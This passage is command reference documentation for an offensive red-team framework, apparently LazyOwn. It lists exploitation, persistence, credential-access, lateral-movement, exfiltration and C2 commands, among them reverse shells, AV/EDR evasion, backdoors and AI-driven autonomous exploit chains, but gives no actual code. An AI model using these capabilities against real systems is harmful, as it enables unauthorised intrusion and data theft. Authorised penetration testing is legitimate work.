Executes the aclpwn.py tool to find and exploit ACL paths for privilege escalation in an Active Directory environment.

adcs_check

Phase: exploit | Source: cli/commands/exploit_migrated.py

Check Active Directory Certificate Services for ESC1-ESC8 vulnerabilities.

addspn_py

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the addspn.py tool to manage Service Principal Names (SPNs) on Active Directory accounts via LDAP.

auto_pwn

Phase: exploit | Source: cli/commands/pwn.py

Run the full autonomous exploitation chain against the target.

autoblody

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the autobloody tool for automating Active Directory privilege escalation paths.

cacti_exploit

Phase: exploit | Source: cli/commands/exploit_migrated.py

Automates the exploitation of the Cacti version 1.2.26 vulnerability

chain

Phase: exploit | Source: cli/commands/exploit_migrated.py

Run autonomous exploitation chain: recon -> vuln -> exploit -> post-exploit.

commix

Phase: exploit | Source: cli/commands/exploit.py

Runs commix for command injection testing.

cp

Phase: exploit | Source: cli/commands/exploit_migrated.py

Copies a file from the ExploitDB directory to the sessions directory.

createcookie

Phase: exploit | Source: cli/commands/exploit_migrated.py

Creates a cookie.txt file in the sessions directory with the specified cookie value.

createdll

Phase: exploit | Source: cli/commands/exploit_migrated.py

Create a Windows DLL file using MinGW-w64 or a Blazor DLL for Linux.

digdug

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes Dig Dug to inflate the size of an executable file, leveraging pre-configured settings

download_exploit

Phase: exploit | Source: cli/commands/exploit.py

Downloads and sets up an exploit, optionally serving via HTTP.

downloader

Phase: exploit | Source: cli/commands/exploit_migrated.py

Generate a downloader command for files in the sessions directory.

eternal

Phase: exploit | Source: cli/commands/exploit_migrated.py

Automates the EternalBlue (MS17-010) exploitation process using Metasploit.

excelntdonut

Phase: exploit | Source: cli/commands/exploit_migrated.py

Generates an Excel 4.0 (XLM) macro from a provided C# source file using EXCELntDonut.

exploit_chain

Phase: exploit | Source: cli/commands/pwn.py

AI-driven multi-step exploit chaining with fallback strategies.

exploit_recommend

Phase: exploit | Source: cli/commands/exploit_migrated.py

AI-powered exploit recommendation — matches discovered services to CVEs.

filtering

Phase: exploit | Source: cli/commands/exploit_migrated.py

Applies various filtering techniques to the given command line by modifying each character or word appropriately.

gets4uticket_py

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the gets4uticket.py tool from PKINITtools to request an S4U2Self service ticket using Kerberos.

gettgtpkinit_py

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the gettgtpkinit.py tool from PKINITtools to request a TGT using Kerberos PKINIT with a PFX or PEM certificate.

greatSCT

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the GreatSCT tool for generating payloads that bypass antivirus and application whitelisting solutions.

img2cookie

Phase: exploit | Source: cli/commands/exploit.py

Generates an XSS payload that steals cookies via an image tag.

jwt_tool

Phase: exploit | Source: cli/commands/exploit_migrated.py

Uses the jwt_tool to analyze, tamper, or exploit JSON Web Tokens (JWTs).

krbrelayx_py

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the krbrelayx.py tool for Kerberos relaying or unconstrained delegation abuse.

kusa

Phase: exploit | Source: cli/commands/exploit.py

Runs the Kusanagi payload generator.

lazypwn

Phase: exploit | Source: cli/commands/exploit.py

Executes the LazyPwn automated exploitation script.

lfi

Phase: exploit | Source: cli/commands/exploit_migrated.py

Exploits a potential Local File Inclusion (LFI) vulnerability by crafting

lol

Phase: exploit | Source: cli/commands/exploit_migrated.py

Exploits a target by injecting a malicious payload and collecting admin information.

lolbas_use

Phase: exploit | Source: cli/commands/pwn.py

Execute a specific LOLBAS technique.

ms08_067_netapi

Phase: exploit | Source: cli/commands/exploit_migrated.py

SMB CVE-2008-4250. Vulnerable using the module ms08_067_netapi of metasploit

ntpdate

Phase: exploit | Source: cli/commands/exploit_migrated.py

Synchronizes the system clock with a specified NTP server.

owneredit

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the Impacket owneredit tool for manipulating ownership of Active Directory objects.

padbuster

Phase: exploit | Source: cli/commands/exploit_migrated.py

Execute the PadBuster command for padding oracle attacks.

powerserver

Phase: exploit | Source: cli/commands/exploit_migrated.py

This function generates a PowerShell script that retrieves reverse shell over http on a Windows system.

printerbug_py

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the printerbug.py tool to trigger the SpoolService bug via RPC backconnect.

psexec

Phase: exploit | Source: cli/commands/enum.py

Executes the Impacket PSExec tool to attempt remote execution on the specified target.

psexec_py

Phase: exploit | Source: cli/commands/enum.py

Executes the Impacket PSExec tool to attempt remote execution on the specified target.

py3ttyup

Phase: exploit | Source: cli/commands/exploit_migrated.py

Copies a Python reverse shell command to the clipboard.

pyautomate

Phase: exploit | Source: cli/commands/exploit_migrated.py

Automates the execution of pwntomate tools on XML configuration files.

pyoracle2

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the pyOracle2 tool for performing padding oracle attacks.

pywhisker

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the pyWhisker tool for manipulating the msDS-KeyCredentialLink attribute of a target user or computer.

rejetto_hfs_exec

Phase: exploit | Source: cli/commands/exploit_migrated.py

HttpFileServer version 2.3. Vulnerable using the module rejetto_hfs_exec of metasploit

rev

Phase: exploit | Source: cli/commands/exploit.py

Copies a reverse shell one-liner to the clipboard.

seo

Phase: exploit | Source: cli/commands/exploit_migrated.py

Performs a web seo fingerprinting scan using lazyseo.py.

sharpshooter

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes a payload creation framework for the retrieval and execution of arbitrary CSharp source code.

shellfire

Phase: exploit | Source: cli/commands/exploit_migrated.py

Runs Shellfire with various options and allows generating payloads.

shellshock

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes a Shellshock attack against a target.

sireprat

Phase: exploit | Source: cli/commands/exploit_migrated.py

Command sireprat: Automates the setup and usage of SirepRAT to perform various attacks on a Windows IoT Core device.

sqli

Phase: exploit | Source: cli/commands/exploit_migrated.py

Asks the user for the URL, database, table, and columns, and then executes the Python script

sqli_mssql_test

Phase: exploit | Source: cli/commands/exploit_migrated.py

Initiates a reverse MSSQL shell by starting an HTTP server to handle incoming connections and exfiltrate data.

sqlmap

Phase: exploit | Source: cli/commands/exploit.py

Runs SQLMap against the target URL for SQL injection testing.

sqsh

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the Impacket sqsh tool for manipulating ownership of Active Directory objects.

ss

Phase: exploit | Source: cli/commands/recon.py

Search all exploit sources and map findings to the next LazyOwn command.

sshexploit

Phase: exploit | Source: cli/commands/exploit_migrated.py

Exploits OpenSSH vulnerability CVE-2023-38408 via the PKCS#11 feature of the ssh-agent.

stealth_on

Phase: exploit | Source: cli/commands/pwn.py

Enable stealth mode for subsequent operations.

template_helper_serializer

Phase: exploit | Source: cli/commands/exploit_migrated.py

Handles the creation and serialization of a template helper.

ticketer

Phase: exploit | Source: cli/commands/exploit.py

Runs Impacket ticketer for golden/silver ticket creation.

unicode_WAFbypass

Phase: exploit | Source: cli/commands/exploit_migrated.py

We open a Netcat listener on port 443 and attempt to exploit NodeJS deserialization by sending the

upload_bypass

Phase: exploit | Source: cli/commands/exploit_migrated.py

Command upload_bypass: Automates the installation and execution of Upload_Bypass for performing file upload bypass tests.

utf

Phase: exploit | Source: cli/commands/exploit_migrated.py

Encode a given payload into UTF-16 escape sequences.

winbase64payload

Phase: exploit | Source: cli/commands/exploit_migrated.py

Creates a base64 encoded payload specifically for Windows to execute a PowerShell command or download a file using self.params['lhost'].

wrapper

Phase: exploit | Source: cli/commands/exploit.py

Copies LFI php-wrapper payloads to the clipboard.

www

Phase: exploit | Source: cli/commands/exploit.py

Starts a simple HTTP server on the configured port to serve payloads.

xss

Phase: exploit | Source: cli/commands/exploit_migrated.py

Executes the XSS (Cross-Site Scripting) vulnerability testing procedure

xsstrike

Phase: exploit | Source: cli/commands/exploit_migrated.py

Command xsstrike: Installs and runs XSStrike for finding XSS vulnerabilities.

04. Post-Exploitation

add2find

Phase: postexp | Source: cli/commands/postexp_migrated.py

Add a new custom command to the 'find' system, saved in user_commands.json.

adversary

Phase: postexp | Source: cli/commands/postexp_migrated.py

LazyOwn RedTeam Adversary Emulator, you can configure your own adversaries in adversary.json

adversary_yaml

Phase: postexp | Source: cli/commands/postexp_migrated.py

Execute adversary from YAML in lazyadversaries/*.yaml

aes_pe

Phase: postexp | Source: cli/commands/postexp_migrated.py

Encrypt with AES and random key to PE EXE file, to usage with loaders.

apt_proxy

Phase: postexp | Source: cli/commands/postexp_migrated.py

Configures the local machine with internet access to act as an APT proxy for a machine without internet access.

apt_repo

Phase: postexp | Source: cli/commands/postexp_migrated.py

Creates a comprehensive local APT repository with enhanced dependency resolution.

atomic_lazyown

Phase: postexp | Source: cli/commands/postexp.py

Execute atomic red-team tests via LazyOwn.

bin2shellcode

Phase: postexp | Source: cli/commands/postexp_migrated.py

Converts a binary file to a shellcode string in C or Nim format.

convert_remcomsvc_from_file

Phase: postexp | Source: cli/commands/postexp_migrated.py

Converts the Python REMCOMSVC byte string from remcomsvc.py to Golang byte slice format, prints a sample, and saves it to sessions/remcomsvc.go. see lazyaddon GoPEInjection

cports

Phase: postexp | Source: cli/commands/postexp_migrated.py

Generates a command to display TCP and UDP ports and copies it to the clipboard.

create_synthetic

Phase: postexp | Source: cli/commands/postexp_migrated.py

Create a basic synthetic playbook from Nmap CSV when LLM fails.

createpayload

Phase: postexp | Source: cli/commands/postexp_migrated.py

Generates an obfuscated payload to evade AV detection using the payloadGenerator tool. thanks to smokeme

d3monizedshell

Phase: postexp | Source: cli/commands/postexp_migrated.py

Executes the D3m0n1z3dShell tool for persistence in Linux.

disableav

Phase: postexp | Source: cli/commands/postexp.py

Create a VBS script to attempt disabling Windows Defender.

exe2bin

Phase: postexp | Source: cli/commands/postexp_migrated.py

Trasnform file .exe into binary file.

exe2donutbin

Phase: postexp | Source: cli/commands/postexp_migrated.py

Trasnform file .exe into donut binary file.

extract_yaml

Phase: postexp | Source: cli/commands/postexp_migrated.py

Extract YAML from an existing debug file and try to create a playbook.

find

Phase: postexp | Source: cli/commands/postexp_migrated.py

Automates command execution based on a list of aliases and commands.

follina

Phase: postexp | Source: cli/commands/postexp.py

Run the Follina (CVE-2022-30190) exploit setup.

hex2shellcode

Phase: postexp | Source: cli/commands/postexp_migrated.py

Convert raw hex payload from msfvenom into NASM-compatible shellcode format.

internet_proxy

Phase: postexp | Source: cli/commands/postexp_migrated.py

Configures the local machine with internet access to act as a proxy for a machine without internet access.

issue_command_to_c2

Phase: postexp | Source: cli/commands/postexp_migrated.py

Exec command in the client using the C2. download: command you must put the file in sessions/temp_upload or use download_c2 command

lazywebshell

Phase: postexp | Source: cli/commands/postexp.py

Run LazyOwn webshell server on port 8888.

mimikatzpy

Phase: postexp | Source: cli/commands/postexp.py

Run Mimikatz over Python (impacket style).

ofuscate_payload

Phase: postexp | Source: cli/commands/postexp_migrated.py

Obfuscates a shell script by encoding it in Base64 and prepares a command to decode and execute it.

ofuscate_string

Phase: postexp | Source: cli/commands/postexp_migrated.py

Ofuscate a string into Go code.

ofuscatesh

Phase: postexp | Source: cli/commands/postexp_migrated.py

Obfuscates a shell script by encoding it in Base64 and prepares a command to decode and execute it.

ofuscatorps1

Phase: postexp | Source: cli/commands/postexp.py

Obfuscate a PowerShell script.

path2hex

Phase: postexp | Source: cli/commands/postexp_migrated.py

Convert a binary path to x64 little-endian hex code for shellcode injection.

pezorsh

Phase: postexp | Source: cli/commands/postexp_migrated.py

Executes the PEzor tool to pack executables or shellcode with custom configurations.

pip_proxy

Phase: postexp | Source: cli/commands/postexp_migrated.py

Configures the local machine with internet access to act as a pip proxy for a machine without internet access.

pip_repo

Phase: postexp | Source: cli/commands/postexp_migrated.py

Sets up a local pip repository to serve Python packages for installation on a compromised machine without internet access.

powershell_cmd_stager

Phase: postexp | Source: cli/commands/postexp_migrated.py

Generate and execute a PowerShell command stager to run a .ps1 script.

rmfromfind

Phase: postexp | Source: cli/commands/postexp_migrated.py

Remove a custom command by index (as shown in 'find').

rubeus

Phase: postexp | Source: cli/commands/postexp_migrated.py

Copies a command to the clipboard for downloading and running Rubeus.

scavenger

Phase: postexp | Source: cli/commands/postexp.py

Run the Scavenger post-exploitation data collector.

scp

Phase: postexp | Source: cli/commands/postexp_migrated.py

Copies the local "sessions" directory to a remote host using scp, leveraging sshpass for automated authentication.

service_ssh

Phase: postexp | Source: cli/commands/postexp_migrated.py

Creates a systemd service file for a specified binary and generates a script to enable and start the service.

sessionsshstrace

Phase: postexp | Source: cli/commands/postexp_migrated.py

Attach strace to a running process and log output to a file.

shellcode

Phase: postexp | Source: cli/commands/postexp.py

Generate and manage shellcode.

shellcode2elf

Phase: postexp | Source: cli/commands/postexp_migrated.py

Convert shellcode into an ELF file and infect it.

shellcode2sylk

Phase: postexp | Source: cli/commands/postexp_migrated.py

Converts shellcode to SYLK format and saves the result to a file.

shellcode_search

Phase: postexp | Source: cli/commands/postexp_migrated.py

Search the shell-storm API for shellcodes using the provided keywords.

ssh_cmd

Phase: postexp | Source: cli/commands/postexp_migrated.py

Perform Remote Execution Command through SSH using configured start_user. See help grisun0 for backdoor user configuration.

yara_scan

Phase: postexp | Source: cli/commands/postexp_migrated.py

Scan files or directories with YARA rules for malware/IOCs.

05. Persistence

asprevbase64

Phase: persist | Source: cli/commands/persist_migrated.py

Creates a base64 encoded ASP reverse shell payload and copies it to the clipboard.

backdoor_factory

Phase: persist | Source: cli/commands/persist_migrated.py

Creates a backdoored executable using backdoor-factory.

beaconcfg

Phase: persist | Source: cli/commands/persist_migrated.py

Generate a C2 beacon profile with traffic morphing and domain fronting.

conptyshell

Phase: persist | Source: cli/commands/persist.py

Download ConPtyShell and prepare a PowerShell run command.

createrevshell

Phase: persist | Source: cli/commands/persist.py

Create a bash reverse shell script in sessions/.

createwebshell

Phase: persist | Source: cli/commands/persist.py

Create web shells (JPG-disguised PHP, p0wny-shell, ASP).

createwinrevshell

Phase: persist | Source: cli/commands/persist.py

Create a Windows reverse shell (PowerShell).

darkarmour

Phase: persist | Source: cli/commands/persist_migrated.py

Uses the darkarmour tool to generate an undetectable version of a PE executable.

dr0p1t

Phase: persist | Source: cli/commands/persist_migrated.py

Execute the Dr0p1t tool to create a stealthy malware dropper.

ftp

Phase: persist | Source: cli/commands/persist_migrated.py

Connects to an ftp host using credentials from a file and a specified port.

generate_revshell

Phase: persist | Source: cli/commands/persist_migrated.py

Generate a reverse shell in various programming languages.

grisun0

Phase: persist | Source: cli/commands/persist_migrated.py

Creates and copies a shell command to add a new user, assign a password, add the user to the sudo group, and switch to the user.

grisun0w

Phase: persist | Source: cli/commands/persist_migrated.py

Creates and copies a PowerShell command to add a new user, assign a password, add the user to the Administrators group, and switch to the user.

ivy

Phase: persist | Source: cli/commands/persist_migrated.py

Generates payloads using Ivy with various options. Ivy is a payload creation framework for the execution of arbitrary VBA (macro) source code directly in memory. Ivy’s loader does this by utilizing programmatical access in the VBA object environment to load, decrypt and execute shellcode.

knokknok

Phase: persist | Source: cli/commands/persist_migrated.py

Send special string to trigger a reverse shell, with the command 'c2 client_name'

listener_go

Phase: persist | Source: cli/commands/persist_migrated.py

Configures and starts a listener for a specified victim.

listener_py

Phase: persist | Source: cli/commands/persist_migrated.py

Configures and starts a listener for a specified victim.

msfpc

Phase: persist | Source: cli/commands/persist_migrated.py

Generates payloads using MSFvenom Payload Creator (MSFPC).

paranoid_meterpreter

Phase: persist | Source: cli/commands/persist_migrated.py

Creates and deploys a paranoid Meterpreter payload and listener with SSL/TLS pinning and UUID tracking.

pwncat

Phase: persist | Source: cli/commands/persist_migrated.py

Runs pwncat with the specified port for listening. SELFINJECT

pwncatcs

Phase: persist | Source: cli/commands/persist.py

Start a pwncat-cs reverse shell listener.

rdp

Phase: persist | Source: cli/commands/persist_migrated.py

Reads credentials from a file, encrypts the password, and executes the RDP connection command.

revwin

Phase: persist | Source: cli/commands/persist.py

Create a Windows reverse shell executable.

scarecrow

Phase: persist | Source: cli/commands/persist_migrated.py

Executes ScareCrow with various options for bypassing EDR solutions and executing shellcode.

service

Phase: persist | Source: cli/commands/persist_migrated.py

Creates a systemd service file for a specified binary and generates a script to enable and start the service.

setoolKits

Phase: persist | Source: cli/commands/persist_migrated.py

Executes the SEToolKit workflow to generate a Meterpreter payload

toctoc

Phase: persist | Source: cli/commands/persist_migrated.py

Sends a magic packet to the Chinese malware.

veil

Phase: persist | Source: cli/commands/persist_migrated.py

Generates payloads using Veil-Evasion with various options. Veil-Evasion is a payload creation framework

weevely

Phase: persist | Source: cli/commands/persist_migrated.py

Connect to PHP backdoor using Weevely, protected with the given password.

weevelygen

Phase: persist | Source: cli/commands/persist_migrated.py

Generate a PHP backdoor using Weevely, protected with the given password.

wmi_lateral

Phase: persist | Source: cli/commands/persist.py

Execute a command on a remote host via WMI.

wmi_persist

Phase: persist | Source: cli/commands/persist.py

Create WMI Event Subscription persistence (fileless, no disk write).

wmi_scheduled_task

Phase: persist | Source: cli/commands/persist.py

Create a scheduled task for persistence via WMI.

06. Privilege Escalation

crystal_ball

Phase: privesc | Source: cli/commands/crystal_ball.py

Analyze linpeas/winpeas output and rank privesc vectors with exact commands.

gtfo

Phase: privesc | Source: cli/commands/privilege_escalation.py

Look up a binary in GTFOBins and LOLBas parquet knowledge bases.

juicypotato

Phase: privesc | Source: cli/commands/privilege_escalation.py

Serve JuicyPotato over HTTP for Windows privilege escalation.

les

Phase: privesc | Source: cli/commands/privilege_escalation.py

Run Linux Exploit Suggester against a kernel version.

linpeas

Phase: privesc | Source: cli/commands/privilege_escalation.py

Serve linpeas.sh over HTTP and print the target one-liner.

printspoofer

Phase: privesc | Source: cli/commands/privilege_escalation.py

Serve PrintSpoofer over HTTP for Windows privilege escalation.

privesc_cmd_by_os

Phase: privesc | Source: cli/commands/privilege_escalation.py

Prepare and send a linpeas/winpeas command to a C2 client.

privesc_suggest

Phase: privesc | Source: cli/commands/crystal_ball.py

Quick alias for crystal_ball --auto.

pspy

Phase: privesc | Source: cli/commands/privilege_escalation.py

Serve the pspy process monitor over HTTP.

responder

Phase: privesc | Source: cli/commands/privilege_escalation.py

Run Responder on the configured device with elevated privileges.

smbserver

Phase: privesc | Source: cli/commands/privilege_escalation.py

Stand up an Impacket SMB server with three relay variants.

sudo

Phase: privesc | Source: cli/commands/privilege_escalation.py

Re-launch the framework with root privileges when missing.

sudo_privesc

Phase: privesc | Source: cli/commands/privilege_escalation.py

Analyse sudo -l output and cross-reference with GTFOBins.

suid_check

Phase: privesc | Source: cli/commands/privilege_escalation.py

Print SUID/SGID enumeration commands ready to paste on the target.

whoami_priv

Phase: privesc | Source: cli/commands/privilege_escalation.py

Print privilege enumeration commands for the target OS.

winpeas

Phase: privesc | Source: cli/commands/privilege_escalation.py

Serve a winPEAS variant over HTTP and print the target one-liner.

07. Credential Access

addusers

Phase: cred | Source: cli/commands/cred_migrated.py

Opens or creates the users.txt file in the sessions directory for editing using nano.

adsso_spray

Phase: cred | Source: cli/commands/cred_migrated.py

Performs a password spray attack on Azure Active Directory Seamless Single Sign-On (SSO) using a specified list of users.

cewl

Phase: cred | Source: cli/commands/cred.py

Generate a wordlist from a website with cewl.

crack_cisco_7_password

Phase: cred | Source: cli/commands/cred_migrated.py

Crack a Cisco Type 7 password hash and display the plaintext.

createcredentials

Phase: cred | Source: cli/commands/cred_migrated.py

Creates a credentials.txt file in the sessions directory with the specified username and password.

createhash

Phase: cred | Source: cli/commands/cred_migrated.py

Creates a hash.txt file in the sessions directory with the specified hash value and analyzes it using Name-the-hash.

createmail

Phase: cred | Source: cli/commands/cred_migrated.py

Generate email permutations based on a full name and self.params['domain'], then save them to a file.

createusers_and_hashs

Phase: cred | Source: cli/commands/cred_migrated.py

Command createusers_and_hashs: Extracts usernames and hashes from a dump file.

cred

Phase: cred | Source: cli/commands/cred_migrated.py

Display the credentials stored in the credentials.txt file and copy the password to the clipboard.

creds_py

Phase: cred | Source: cli/commands/cred.py

Extract credentials from a file or command output.

crunch

Phase: cred | Source: cli/commands/cred.py

Generate wordlists with crunch.

cubespraying

Phase: cred | Source: cli/commands/cred_migrated.py

Command cubespraying: Automates the installation and usage of CubeSpraying for performing credential spraying attacks.

dacledit

Phase: cred | Source: cli/commands/cred_migrated.py

Execute the dacledit.py command for a specific user or all users listed in the users.txt file.

generatedic

Phase: cred | Source: cli/commands/cred_migrated.py

Generates a wordlist based on a target name and a list of characters, with various combinations.

hashcat

Phase: cred | Source: cli/commands/cred.py

Run hashcat password cracking.

hydra

Phase: cred | Source: cli/commands/cred.py

Run Hydra for online password attacks.

john2hash

Phase: cred | Source: cli/commands/cred.py

Convert a hash to John the Ripper format.

john2keepas

Phase: cred | Source: cli/commands/cred_migrated.py

List all .kdbx files in the 'sessions' directory, let the user select one, and run the

john2zip

Phase: cred | Source: cli/commands/cred_migrated.py

List all .zip files in the 'sessions' directory, let the user select one, and run the command

keepass

Phase: cred | Source: cli/commands/cred_migrated.py

Open a .kdbx file and print the titles and contents of all entries. The password can be provided through

medusa

Phase: cred | Source: cli/commands/cred.py

Run Medusa for online password attacks.

passtightvnc

Phase: cred | Source: cli/commands/cred_migrated.py

Decrypts TightVNC passwords using Metasploit.

passwordspray

Phase: cred | Source: cli/commands/cred_migrated.py

Perform password spraying using crackmapexec with the provided parameters.

refill_password

Phase: cred | Source: cli/commands/cred_migrated.py

Generate a list of possible passwords by filling each asterisk in the input with user-specified characters.

rocky

Phase: cred | Source: cli/commands/cred_migrated.py

Reduces a wordlist based on the specified password length.

searchhash

Phase: cred | Source: cli/commands/cred_migrated.py

Helps to find hash types in Hashcat by searching through its help output.

smalldic

Phase: cred | Source: cli/commands/cred_migrated.py

Handles the creation of temporary files for users and passwords based on a small dictionary.

spraykatz

Phase: cred | Source: cli/commands/cred.py

Run SprayKatz for credential spraying.

sshkey

Phase: cred | Source: cli/commands/cred.py

Generate an SSH key pair.

transform

Phase: cred | Source: cli/commands/cred_migrated.py

Transforms the input string based on user-defined casing style.

username_anarchy

Phase: cred | Source: cli/commands/cred_migrated.py

Generate usernames using the username-anarchy tool based on user input.

08. Lateral Movement

addcli

Phase: lateral | Source: cli/commands/lateral_migrated.py

Add a client to execute c2 commands

bitm

Phase: lateral | Source: cli/commands/bitm.py

Browser-in-the-Middle attack manager.

bloodyAD

Phase: lateral | Source: cli/commands/lateral_migrated.py

Execute the bloodyAD.py command for a specific user or all users listed in the users.txt file.

chisel

Phase: lateral | Source: cli/commands/lateral.py

Run chisel for quick tunneling.

dcomexec

Phase: lateral | Source: cli/commands/lateral_migrated.py

Executes the Impacket dcomexec tool to run commands on a remote system using DCOM.

dominion

Phase: lateral | Source: cli/commands/lateral_migrated.py

Execute a fully automated Active Directory domain takeover.

getTGT

Phase: lateral | Source: cli/commands/lateral_migrated.py

Requests a Ticket Granting Ticket (TGT) using the Impacket tool with provided credentials.

gospherus

Phase: lateral | Source: cli/commands/lateral_migrated.py

Command gospherus: Clones and uses the Gopherus tool to generate gopher payloads for various services.

id_rsa

Phase: lateral | Source: cli/commands/lateral_migrated.py

Create an SSH private key file and connect to a remote host using SSH.

lateral_mov_lin

Phase: lateral | Source: cli/commands/lateral_migrated.py

Perform lateral movement by downloading and installing LazyOwn on a remote Linux machine.

ligolo

Phase: lateral | Source: cli/commands/lateral.py

Run Ligolo-ng for advanced pivoting.

mssqlcli

Phase: lateral | Source: cli/commands/lateral_migrated.py

Attempts to connect to an MSSQL server using the mssqlclient.py tool with Windows authentication.

nc

Phase: lateral | Source: cli/commands/lateral.py

Netcat listener or connect.

ngrok

Phase: lateral | Source: cli/commands/lateral.py

Start ngrok tunnel.

penelope

Phase: lateral | Source: cli/commands/lateral_migrated.py

Command penelope: Installs and runs Penelope for handling reverse and bind shells.

regeorg

Phase: lateral | Source: cli/commands/lateral_migrated.py

Executes the reGeorg tool for HTTP(s) tunneling through a SOCKS proxy.

rnc

Phase: lateral | Source: cli/commands/lateral_migrated.py

Runs nc with rlwrap the specified port for listening.

set_proxychains

Phase: lateral | Source: cli/commands/lateral.py

Configure proxychains for the current session.

shadowsocks

Phase: lateral | Source: cli/commands/lateral_migrated.py

Execute the Shadowsocks tool to create a secure tunnel for network traffic.

socat

Phase: lateral | Source: cli/commands/lateral.py

Run socat for port forwarding.

ssh

Phase: lateral | Source: cli/commands/lateral.py

SSH to a remote host (custom port).

sshd

Phase: lateral | Source: cli/commands/lateral_migrated.py

Starts the SSH service and displays its status.

stormbreaker

Phase: lateral | Source: cli/commands/lateral_migrated.py

Command stormbreaker: Automates the installation and usage of Storm-Breaker for performing various network attacks.

targetedKerberoas

Phase: lateral | Source: cli/commands/lateral_migrated.py

Executes the targetedKerberoast tool for extracting Kerberos service tickets.

tord

Phase: lateral | Source: cli/commands/lateral_migrated.py

Execute the tor.sh script with the specified port or default to port 80 if no port is provided.

upload_c2

Phase: lateral | Source: cli/commands/lateral_migrated.py

upload command in the client using the C2 to upload a file

vpn

Phase: lateral | Source: cli/commands/lateral_migrated.py

Connect to a VPN by selecting from available .ovpn files.

wifipass

Phase: lateral | Source: cli/commands/lateral_migrated.py

This function generates a PowerShell script that retrieves saved Wi-Fi passwords on a Windows system.

wmiexec

Phase: lateral | Source: cli/commands/lateral.py

Execute commands via WMI.

wmiexecpro

Phase: lateral | Source: cli/commands/lateral_migrated.py

Executes wmiexec-pro with various options for WMI operations.

09. Data Exfiltration

adgetpass

Phase: exfil | Source: cli/commands/exfiltration.py

Generate a PowerShell script to extract Azure AD Connect credentials.

decrypt

Phase: exfil | Source: cli/commands/exfiltration.py

Decrypt an XOR-encrypted file using the matching key.

dns_beacon

Phase: exfil | Source: cli/commands/dns_exfil.py

Start a DNS tunneling beacon.

dns_beacon_status

Phase: exfil | Source: cli/commands/dns_exfil.py

Show status of all DNS beacons.

dns_exfil_listen

Phase: exfil | Source: cli/commands/dns_exfil.py

Start a DNS exfiltration listener on UDP port 53.

download_c2

Phase: exfil | Source: cli/commands/exfiltration.py

Download a file from the C2 implant via the upload command.

dpapi_blob

Phase: exfil | Source: cli/commands/dpapi.py

Decrypt a DPAPI blob offline.

dpapi_harvest

Phase: exfil | Source: cli/commands/dpapi.py

Harvest all DPAPI-protected credentials from the local machine.

dpapi_masterkeys

Phase: exfil | Source: cli/commands/dpapi.py

List and extract DPAPI master keys.

dploot

Phase: exfil | Source: cli/commands/exfiltration.py

Run dploot to loot DPAPI-protected secrets.

encrypt

Phase: exfil | Source: cli/commands/exfiltration.py

Encrypt a file with XOR using a caller-supplied key.

evidence

Phase: exfil | Source: cli/commands/exfiltration.py

Encode the sessions/ tree into a video file or decode one back.

evilwinrm

Phase: exfil | Source: cli/commands/exfiltration.py

Drive Evil-WinRM through password, hash or kerberos-only auth.

exfil_auto

Phase: exfil | Source: cli/commands/exfiltration.py

Auto-detect flags and sensitive files, then exfiltrate.

exfil_discord

Phase: exfil | Source: cli/commands/exfiltration.py

Exfiltrate a file via Discord webhook.

exfil_dns

Phase: exfil | Source: cli/commands/exfiltration.py

Exfiltrate data via DNS tunneling.

exfil_gcs

Phase: exfil | Source: cli/commands/exfiltration.py

Upload a file to Google Cloud Storage.

exfil_http

Phase: exfil | Source: cli/commands/exfiltration.py

Exfiltrate a file via HTTP POST to a controlled server.

exfil_s3

Phase: exfil | Source: cli/commands/exfiltration.py

Upload a file to an AWS S3 bucket.

exfil_start_server

Phase: exfil | Source: cli/commands/dns_exfil.py

Start all required exfiltration listeners.

exfil_telegram

Phase: exfil | Source: cli/commands/exfiltration.py

Exfiltrate a file via Telegram Bot API.

getadusers

Phase: exfil | Source: cli/commands/exfiltration.py

Run impacket-GetADUsers to enumerate AD accounts on the DC.

getnthash_py

Phase: exfil | Source: cli/commands/exfiltration.py

Recover the NT hash from a Kerberos U2U TGS via PKINITtools.

getuserspns

Phase: exfil | Source: cli/commands/exfiltration.py

Run impacket-GetUserSPNs to request roastable service tickets.

gitdumper

Phase: exfil | Source: cli/commands/exfiltration.py

Install git-dumper if missing and pull a remote .git tree.

gmsadumper

Phase: exfil | Source: cli/commands/exfiltration.py

Run gMSADumper to read gMSA password blobs visible to the user.

http_exfil_server

Phase: exfil | Source: cli/commands/dns_exfil.py

Start a minimal HTTP exfiltration receiver.

reg_py

Phase: exfil | Source: cli/commands/exfiltration.py

Query a remote registry hive with impacket-reg.py over hash auth.

rsync

Phase: exfil | Source: cli/commands/exfiltration.py

Push the sessions/ tree to rhost over SCP with sshpass.

samdump2

Phase: exfil | Source: cli/commands/exfiltration.py

Run samdump2 against sessions/SYSTEM and sessions/SAM.

secretsdump

Phase: exfil | Source: cli/commands/exfiltration.py

Run impacket-secretsdump for SAM, credentials, or NTDS payloads.

smb_exfil

Phase: exfil | Source: cli/commands/dns_exfil.py

Exfiltrate files to an SMB share on the attacker machine.

stage

Phase: exfil | Source: cli/commands/exfiltration.py

Stage data for exfiltration: compress, encrypt, and split.

unzip

Phase: exfil | Source: cli/commands/exfiltration.py

Extract a zip archive located under sessions/.

upload_gofile

Phase: exfil | Source: cli/commands/exfiltration.py

Upload a file from sessions/ to Gofile via its HTTP API.

10. Command & Control

apt_playbook

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

List, validate, and run APT playbooks based on public threat reports.

atomic_agent

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Generates and synchronizes atomic agent scripts.

atomic_gen

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Generates test and cleanup scripts for a given Atomic Red Team technique ID.

atomic_tests

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Executes Atomic Red Team tests based on user-selected platform and test.

attack_plan

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Executes a multi-step APT simulation plan based on Atomic Red Team test IDs.

automsf

